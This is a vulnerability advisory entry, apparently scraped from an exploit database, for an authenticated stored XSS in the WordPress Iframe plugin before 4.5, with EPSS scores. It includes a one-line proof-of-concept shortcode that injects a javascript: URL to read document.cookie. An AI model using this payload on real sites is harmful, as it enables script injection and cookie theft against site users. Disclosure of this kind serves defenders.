Lucene search

K
wpexploitGuilherme RubertWPEX-ID:0E9BECAD-7895-40DB-AB65-E53BE0FE8609
HistoryMay 07, 2020 - 12:00 a.m.

Iframe < 4.5 - Authenticated Stored Cross Site Scripting (XSS)

2020-05-0700:00:00
Guilherme Rubert
4

0.001 Low

EPSS

Percentile

36.3%

The iframe plugin before 4.5 does not sanitize a URL.

[iframe src="javascript:alert(document.cookie)" width="100%" height="500"]

0.001 Low

EPSS

Percentile

36.3%

Related for WPEX-ID:0E9BECAD-7895-40DB-AB65-E53BE0FE8609